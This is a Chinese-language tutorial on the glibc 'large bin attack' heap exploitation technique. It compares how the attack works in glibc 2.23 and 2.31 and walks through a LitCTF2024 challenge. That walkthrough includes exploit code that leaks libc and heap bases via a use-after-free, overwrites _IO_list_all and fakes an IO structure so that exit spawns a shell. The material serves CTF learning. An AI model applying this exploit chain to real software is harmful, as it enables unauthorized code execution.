浅析Large_bins_attack在高低版本的利用
字数 2030 2025-08-24 07:48:34
Large Bin Attack 高低版本利用详解
导言
在libc版本越来越高的情况下,许多旧的攻击方式已经失效,但large_bins_attack始终屹立不倒,是许多攻击方式的先决条件。本文将详细分析large_bins_attack在高低版本中的利用方法。
Large Bin 基本概念
基本特性
- large_bin是一种堆分配的管理方式,是双向链表,用于管理大于某个特定大小阈值的内存块
- 进入large_bin的最低字节一般为0x200(512)
- 由于引入了tcache_bin,在tcache_bin尚未填满的情况下,进入large_bin的最低字节为0x410(1040)
结构特点
- large_bins含有63个bin
- large_bins总体又被分成6个组,每个组对应一个区间,且容纳个数呈指数性减少
- 排列顺序是从大到小,越大的chunk越靠前,越小的chunk越靠后
- 在相同大小的情况下,按照free的时间进行排序
- 只有首堆块的fd_nextsize、bk_nextsize会指向其它大小的堆块,后续堆块的fd_nextsize、bk_nextsize通常为0
glibc-2.23版本的攻击方式
适用条件
- 存在能够修改堆内容的函数
- 从unsorted_bins里提取出来的堆块要紧挨着我们伪造过的large_bins里的堆块
攻击原理
- 申请三个大堆块(p1=0x420, p2=0x500, p3=0x500)
- 释放p1和p2到unsorted_bin
- 申请一个0x90的小堆块,使p2进入large_bin,p1被分割后部分留在unsorted_bin
- 释放p3到unsorted_bin
- 修改p2的size、bk和bk_nextsize指针:
- 减小p2的size(0x3f1)
- 设置bk指向target1-0x10
- 设置bk_nextsize指向target2-0x20
- 再次申请0x90的堆块,触发p3被插入large_bin
- 攻击完成:target1和target2被写入p3的头指针
关键代码分析
p2[-1] = 0x3f1; // 修改size
p2[0] = 0; // fd置0
p2[2] = 0; // fd_nextsize置0
p2[1] = (unsigned long)(&stack_var1 - 2); // bk指向target1-0x10
p2[3] = (unsigned long)(&stack_var2 - 4); // bk_nextsize指向target2-0x20
攻击流程图示
- 初始状态:p1和p2在unsorted_bin
- malloc(0x90)后:
- p2进入large_bin
- p1被分割,剩余部分留在unsorted_bin
- free(p3)后:p3进入unsorted_bin
- 修改p2的元数据
- 再次malloc(0x90)触发攻击
glibc-2.31版本的攻击方式
新增检测
glibc-2.31新增了两个检测:
if (__glibc_unlikely(fwd->bk_nextsize->fd_nextsize != fwd))
malloc_printerr("malloc(): largebin double linked list corrupted (nextsize)");
if (bck->fd != fwd)
malloc_printerr("malloc(): largebin double linked list corrupted (bk)");
这使得旧版的large_bin攻击方式失效。
新攻击原理
- 申请两个大堆块(p1=0x428, p2=0x418)
- 释放p1到unsorted_bin
- 申请更大的堆块(0x438)使p1进入large_bin
- 释放p2到unsorted_bin
- 修改p1的bk_nextsize指向target-0x20
- 再次申请大堆块(0x438)使p2进入large_bin
- 攻击完成:target被写入p2的头指针
关键代码分析
p1[3] = (size_t)((&target) - 4); // 修改p1->bk_nextsize为target-0x20
攻击流程图示
- 初始状态:p1和p2在unsorted_bin
- malloc(0x438)后:p1进入large_bin
- free(p2)后:p2进入unsorted_bin
- 修改p1的bk_nextsize
- 再次malloc(0x438)触发攻击
高低版本差异对比
| 特性 | glibc-2.23 | glibc-2.31 |
|---|---|---|
| 检测机制 | 无 | 新增两个链表完整性检测 |
| 可写目标数量 | 可同时写两个地址 | 只能写一个地址 |
| 攻击复杂度 | 相对简单 | 需要更精确的控制 |
| 适用场景 | 更广泛 | 受限但仍可利用 |
实际应用案例:LitCTF2024 Heap2.39
题目特点
- 高版本堆(glibc 2.39)
- 限制size大小,适合large_bins攻击
- 有UAF漏洞
- 可主动触发exit
利用步骤
- 泄露libc和heap基址
- 布置堆结构:
- 创建多个大堆块(0x508, 0x510, 0x500, 0x520, 0x500)
- 释放特定堆块到unsorted_bin
- 利用large_bin攻击修改_IO_list_all
- 伪造IO结构,使用House of Apple2的_IO_wfile_overflow控制执行流
- 触发exit执行shell
关键代码
# 泄露libc和heap基址
delete(2)
add(4, 0x550) # 分配2进large_bins
show(2)
large_bin = u64(p.recv(6).ljust(8, b'\x00'))
libc_base = large_bin - 0x203F50
# large_bin攻击
delete(0)
edit(2, p64(large_bin) + p64(large_bin) + p64(heap_addr) + p64(IO_list_all - 0x20))
add(5, 0x550)
# 伪造IO结构
edit(8, b'a'*0x500 + p32(0xfffff7f5) + b';sh\x00')
fake_IO = p64(0)*2 + p64(1) + p64(2) # 设置flag
fake_IO = fake_IO.ljust(0xa0-0x10, b'\x00') + p64(chunk + 0x100) # wide_data
fake_IO = fake_IO.ljust(0xc0-0x10, b'\x00') + p64(0xffffffffffffffff) # mode
fake_IO = fake_IO.ljust(0xd8-0x10, b'\x00') + p64(IO_wfile_jumps) # vtable
edit(0, fake_IO)
总结
large_bin攻击是一种强大的堆利用技术,尽管高版本增加了防护措施,但仍然可以通过精心构造的攻击链实现利用。理解large_bin的组织结构和攻击原理对于现代堆漏洞利用至关重要。在实际应用中,通常需要结合其他攻击技术(如IO_FILE利用)来实现完整的攻击链。